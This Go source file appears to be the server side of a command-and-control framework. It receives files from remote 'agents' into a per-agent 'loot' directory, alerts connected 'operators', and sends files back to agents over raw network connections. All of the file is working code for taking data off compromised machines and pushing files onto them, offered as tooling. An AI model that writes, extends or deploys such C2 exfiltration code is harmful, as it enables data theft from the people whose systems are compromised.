package main

import (
	"fmt"
	"io"
	"log"
	"net"
	"os"
	"path/filepath"
	"strconv"
	"strings"

	"al.essio.dev/pkg/shellescape"
)

// Process files sent by SSL agent
func ReceiveFile(agentConn net.Conn, agentID string) {
	log.Printf("File transfer session initiated by agent %s", agentID)
	lootPath := filepath.Join("loot", agentID)

	for {
		// Request metadata for the next file
		if _, err := agentConn.Write([]byte("SEND_METADATA")); err != nil {
			log.Printf("Error sending SEND_METADATA to agent %s: %v", agentID, err)
			return
		}

		// Receive metadata
		buffer := make([]byte, 1024)
		n, err := agentConn.Read(buffer)
		if err != nil {
			log.Printf("Error reading metadata from agent %s: %v", agentID, err)
			return
		}
		metadata := strings.TrimSpace(string(buffer[:n]))
		if metadata == "ENDTRANSFER" {
			log.Printf("End of file transfer from agent %s", agentID)
			return
		}

		// Parse metadata (size|path)
		metaParts := strings.Split(metadata, "|")
		if len(metaParts) != 2 {
			log.Printf("Invalid metadata from agent %s: %s", agentID, metadata)
			return
		}
		fileSizeStr := metaParts[0]
		filePath := metaParts[1]
		filePath = strings.ReplaceAll(filePath, "\\", "/")

		fileSize, err := strconv.ParseInt(fileSizeStr, 10, 64)
		if err != nil {
			log.Printf("Invalid file size from agent %s: %s", agentID, fileSizeStr)
			return
		}

		// Prepare to receive file data
		fullFilePath := filepath.Join(lootPath, filePath)
		err = os.MkdirAll(filepath.Dir(fullFilePath), os.ModePerm)
		if err != nil {
			log.Printf("Error creating directory for file %s: %v", fullFilePath, err)
			return
		}

		file, err := os.Create(fullFilePath)
		if err != nil {
			log.Printf("Error creating file %s for agent %s: %v", fullFilePath, agentID, err)
			return
		}
		defer file.Close()

		// Request file data
		if _, err := agentConn.Write([]byte("SEND_DATA")); err != nil {
			log.Printf("Error sending SEND_DATA to agent %s: %v", agentID, err)
			return
		}

		// Receive file data
		log.Printf("Receiving file from agent %s: %s (size: %d bytes)", agentID, filePath, fileSize)
		var totalBytesWritten int64
		buffer = make([]byte, 4096)
		for totalBytesWritten < fileSize {
			bytesToRead := int64(len(buffer))
			if remaining := fileSize - totalBytesWritten; remaining < bytesToRead {
				bytesToRead = remaining
			}

			n, err := agentConn.Read(buffer[:bytesToRead])
			if err != nil && err != io.EOF {
				log.Printf("Error reading file data from agent %s: %v", agentID, err)
				return
			}

			bytesWritten, writeErr := file.Write(buffer[:n])
			if writeErr != nil {
				log.Printf("Error writing file %s for agent %s: %v", fullFilePath, agentID, writeErr)
				return
			}
			totalBytesWritten += int64(bytesWritten)
		}

		// Notify operators
		message := fmt.Sprintf("File saved: %s (total size: %d bytes)", fullFilePath, totalBytesWritten)
		log.Print(message)
		SendMessageToAllOperators(message)

		// Request next file
		// if _, err := agentConn.Write([]byte("NEXT")); err != nil {
		// 	log.Printf("Error sending NEXT to agent %s: %v", agentID, err)
		// 	return
		// }
		// time.Sleep(2 * time.Second))
	}
}

// Send file to SSL agent
func SendFile(conn net.Conn, localFilePath string, remoteFilePath string) {
	log.Println("Waiting for confirmation from agent")

	buffer := make([]byte, 4096)

	// Wait for "SEND_METADATA"
	n, err := conn.Read(buffer)
	if err != nil || string(buffer[:n]) != "SEND_METADATA" {
		log.Println("Error or unexpected command:", err)
		return
	}

	// Open file and get metadata
	file, err := os.Open(localFilePath)
	if err != nil {
		log.Println("Failed to open file:", err)
		return
	}
	defer file.Close()

	stat, err := file.Stat()
	if err != nil {
		log.Println("Failed to stat file:", err)
		return
	}

	// Send metadata (format: "filesize|"filepath"")
	meta := fmt.Sprintf("%d|%s", stat.Size(), shellescape.Quote(remoteFilePath))
	if _, err := conn.Write([]byte(meta)); err != nil {
		log.Println("Failed to send metadata:", err)
		return
	}

	// Wait for "SEND_DATA"
	n, err = conn.Read(buffer)
	if err != nil || string(buffer[:n]) != "SEND_DATA" {
		log.Println("Expected SEND_DATA, got:", string(buffer[:n]), err)
		return
	}

	// Send file contents
	totalSent := int64(0)
	for {
		n, err := file.Read(buffer)
		if err != nil && err != io.EOF {
			log.Println("Error reading file:", err)
			return
		}
		if n == 0 {
			break
		}
		if _, err := conn.Write(buffer[:n]); err != nil {
			log.Println("Error sending data:", err)
			return
		}
		totalSent += int64(n)
	}
	log.Printf("Sent file: %s (%d bytes)\n", localFilePath, totalSent)
}
